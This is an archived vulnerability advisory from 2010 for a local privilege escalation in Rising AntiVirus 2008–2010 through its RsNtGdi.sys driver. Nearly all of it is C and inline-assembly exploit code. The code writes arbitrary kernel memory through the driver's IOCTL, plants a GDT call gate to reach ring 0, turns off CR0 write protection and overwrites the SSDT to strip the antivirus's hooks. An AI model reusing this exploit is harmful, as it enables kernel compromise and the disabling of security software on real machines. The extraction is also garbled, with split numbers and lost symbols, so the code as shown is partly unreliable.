Rising AntiVirus 2008/2009/2010 Local Privilege Escalation Exploit-vulnerability warning-the black bar safety net

2010-01-30T00:00:00
ID MYHACK58:62201026107
Type myhack58
Reporter 佚名
Modified 2010-01-30T00:00:00

Description

Affected version:Rising AntiVirus 2 0 0 8 / 2 0 0 9 / 2 0 1 0 漏洞 描述 :RsNtGdi.sys not verify the Irp->UserBuffer address. The virus code will restore all of the kernel SSDT hook

include "stdafx. h"

include "windows. h"

enum { SystemModuleInformation = 1 1 }; typedef struct { ULONG Unknown1; ULONG Unknown2; PVOID Base; ULONG Size; ULONG Flags; USHORT Index; USHORT NameLength; USHORT LoadCount; USHORT PathLength; CHAR ImageName[2 5 6]; } SYSTEM_MODULE_INFORMATION_ENTRY, PSYSTEM_MODULE_INFORMATION_ENTRY; typedef struct { ULONG Count; SYSTEM_MODULE_INFORMATION_ENTRY Module[1]; } SYSTEM_MODULE_INFORMATION, PSYSTEM_MODULE_INFORMATION; HANDLE g_RsGdiHandle = 0 ; void __stdcall WriteKVM(PVOID Address , ULONG Value) { ULONG ColorValue = Value ; ULONG btr ; ULONG ColorBuffer = 0 ;

DeviceIoControl(g_RsGdiHandle , 0x83003C0B, &ColorValue , sizeof(ULONG), &ColorBuffer , sizeof(ULONG), &btr , 0 ); DeviceIoControl(g_RsGdiHandle , 0x83003C0B, &ColorValue , sizeof(ULONG), Address , sizeof(ULONG), &btr , 0 ); return ; } void AddCallGate() { ULONG Gdt_Addr; ULONG CallGateData[0x4]; ULONG Icount; __asm { push edx sgdt [esp-2] pop edx mov Gdt_Addr , edx } __asm {

push 0xc3 push Gdt_Addr call WriteKVM mov eax,Gdt_Addr mov word ptr[CallGateData],ax shr eax,1 6 mov word ptr[CallGateData+6],ax mov dword ptr[CallGateData+2],0x0ec0003e8 mov dword ptr[CallGateData+8],0x0000ffff mov dword ptr[CallGateData+1 2],0x00cf9a00 xor eax,eax LoopWrite: mov edi,dword ptr CallGateData[eax]

push edi mov edi,Gdt_Addr add edi,0x3e0 add edi,eax push edi mov Icount,eax call WriteKVM mov eax,Icount add eax , 0x4 cmp eax,0x10 jnz LoopWrite }

return ; }

void IntoR0(PVOID function) { WORD Callgt[3]; Callgt[0] = 0; Callgt[1] = 0; Callgt[2] = 0x3e3; __asm { call fword ptr[Callgt] mov eax,esp mov esp,[esp+4] push eax call function pop esp push offset ring3Ret retf ring3Ret: nop } return ;

}

pragma pack(1)

typedef struct _IDTR { SHORT IDTLimit; UINT IDTBase; }IDTR, PIDTR, *PPIDTR;

pragma pack()

ULONG g_RealSSDT = 0 ; ULONG ServiceNum = 0 ; ULONG OrgService [0x1000] ; ULONG RvaToOffset(IMAGE_NT_HEADERS NT, ULONG Rva) { ULONG Offset = Rva, Limit; IMAGE_SECTION_HEADER Img; WORD i;

Img = IMAGE_FIRST_SECTION(NT);

if (Rva < Img->PointerToRawData) return Rva;

for (i = 0; i < NT->FileHeader. NumberOfSections; i++) { if (Img[i]. SizeOfRawData) Limit = Img[i]. SizeOfRawData; else Limit = Img[i]. Misc. VirtualSize;

if (Rva >= Img[i]. VirtualAddress && Rva < (Img[i]. VirtualAddress + Limit)) { if (Img[i]. PointerToRawData != 0) { Offset -= Img[i]. VirtualAddress; Offset += Img[i]. PointerToRawData; }

return Offset; } }

return 0; }

define ibaseDD *(PDWORD)&ibase

DWORD GetHeaders(PCHAR ibase, PIMAGE_FILE_HEADER pfh, PIMAGE_OPTIONAL_HEADER poh, PIMAGE_SECTION_HEADER psh) { PIMAGE_DOS_HEADER mzhead=(PIMAGE_DOS_HEADER)ibase; if ((mzhead->e_magic!= IMAGE_DOS_SIGNATURE)||(ibaseDD[mzhead->e_lfanew]!= IMAGE_NT_SIGNATURE)) return FALSE; pfh=(PIMAGE_FILE_HEADER)&ibase[mzhead->e_lfanew]; if (((PIMAGE_NT_HEADERS)pfh)->Signature!= IMAGE_NT_SIGNATURE) return FALSE; pfh=(PIMAGE_FILE_HEADER)((PBYTE)pfh+sizeof(IMAGE_NT_SIGNATURE)); poh=(PIMAGE_OPTIONAL_HEADER)((PBYTE)pfh+sizeof(IMAGE_FILE_HEADER)); if ((poh)->Magic!= IMAGE_NT_OPTIONAL_HDR32_MAGIC) return FALSE; psh=(PIMAGE_SECTION_HEADER)((PBYTE)poh+sizeof(IMAGE_OPTIONAL_HEADER)); return TRUE; } typedef struct { WORD offset:1 2; WORD type:4; } IMAGE_FIXUP_ENTRY, *PIMAGE_FIXUP_ENTRY;

define RVATOVA(base,offset) ((PVOID)((DWORD)(base)+(DWORD)(offset)))

DWORD FindKiServiceTable(HMODULE hModule,DWORD dwKSDT , PULONG ImageBase) { PIMAGE_FILE_HEADER pfh; PIMAGE_OPTIONAL_HEADER poh; PIMAGE_SECTION_HEADER psh; PIMAGE_BASE_RELOCATION pbr; PIMAGE_FIXUP_ENTRY pfe;

DWORD dwFixups=0,i,dwPointerRva,dwPointsToRva,dwKiServiceTable; BOOL bFirstChunk;

GetHeaders((PCHAR)hModule,&pfh,&poh,&psh);

if ((poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]. VirtualAddress) && (! ((pfh->Characteristics)&IMAGE_FILE_RELOCS_STRIPPED))) {

pbr=(PIMAGE_BASE_RELOCATION)RVATOVA(poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]. VirtualAddress,hModule); bFirstChunk=TRUE; while (bFirstChunk || pbr->VirtualAddress) { bFirstChunk=FALSE;

pfe=(PIMAGE_FIXUP_ENTRY)((DWORD)pbr+sizeof(IMAGE_BASE_RELOCATION));

for (i=0;i<(pbr->SizeOfBlock-sizeof(IMAGE_BASE_RELOCATION))>>1;i++,pfe++) { if (pfe->type==IMAGE_REL_BASED_HIGHLOW) { dwFixups++; dwPointerRva=pbr->VirtualAddress+pfe->offset; dwPointsToRva=*(PDWORD)((DWORD)hModule+dwPointerRva)-(DWORD)poh->ImageBase;

if (dwPointsToRva==dwKSDT) { if ((PWORD)((DWORD)hModule+dwPointerRva-2)==0x05c7) { dwKiServiceTable=(PDWORD)((DWORD)hModule+dwPointerRva+4)-poh->ImageBase; *ImageBase = poh->ImageBase; return dwKiServiceTable; } }

} } *(PDWORD)&pbr+=pbr->SizeOfBlock; } }

return 0; } DWORD CR0Reg ; ULONG realssdt ; void InKerneProc() { __asm { cli mov eax, cr0 mov CR0Reg,eax and eax,0xFFFEFFFF mov cr0, eax } int i; for (i = 0; i < (int)ServiceNum; i++) { (ULONG)((ULONG)realssdt + i * sizeof(ULONG)) = OrgService[i]; } __asm { mov eax, CR0Reg mov cr0, eax sti }

} int main(int argc, char* argv[]) { printf("Rising AntiVirus 2 0 0 8 ~ 2 0 1 0 \n" "Local Privilege Escalation Vulnerability Proof Of Concept Exploit\n 2010-1-27\n");

g_RsGdiHandle = CreateFile("\\\\.\\ RSNTGDI" , 0, FILE_SHARE_READ | FILE_SHARE_WRITE , 0, OPEN_EXISTING , 0 , 0 ); if (g_RsGdiHandle == INVALID_HANDLE_VALUE) { return 0 ; }

SYSTEM_MODULE_INFORMATION ModuleInfo ;

// Learn the loaded kernel (e.g. NTKRNLPA vs NTOSKRNL), and it's base address

HMODULE hlib = GetModuleHandle("ntdll.dll"); PVOID pNtQuerySystemInformation = GetProcAddress(hlib , "NtQuerySystemInformation"); ULONG infosize = sizeof(ModuleInfo);

__asm { push 0 push infosize lea eax , ModuleInfo push eax push 1 1 call pNtQuerySystemInformation }

HMODULE KernelHandle ; LPCSTR ntosname = (LPCSTR)((ULONG)ModuleInfo. Module[0]. ImageName + ModuleInfo. Module[0]. PathLength);

// Load the kernel image specified KernelHandle = LoadLibrary(ntosname); if (KernelHandle == 0 ) { return 0 ; }

ULONG KeSSDT = (ULONG)GetProcAddress(KernelHandle , "KeServiceDescriptorTable");

if (KeSSDT == 0 ) { return 0 ; } ULONG ImageBase = 0 ; ULONG KiSSDT = FindKiServiceTable(KernelHandle , KeSSDT - (ULONG)KernelHandle , &ImageBase); if (KiSSDT == 0 ) { return 0 ; } KiSSDT += (ULONG)KernelHandle; ServiceNum = 0x11c ; ULONG i ;

for (i = 0 ; i < ServiceNum ; i ++) { OrgService[i] = (ULONG)(KiSSDT + i * sizeof(ULONG)) + (ULONG)ModuleInfo. Module[0]. Base - ImageBase; }

realssdt = KeSSDT - (ULONG)KernelHandle + (ULONG)ModuleInfo. Module[0]. Base;

SetThreadAffinityMask(GetCurrentThread () , 0 ) ;

AddCallGate(); IntoR0(InKerneProc); return 0; }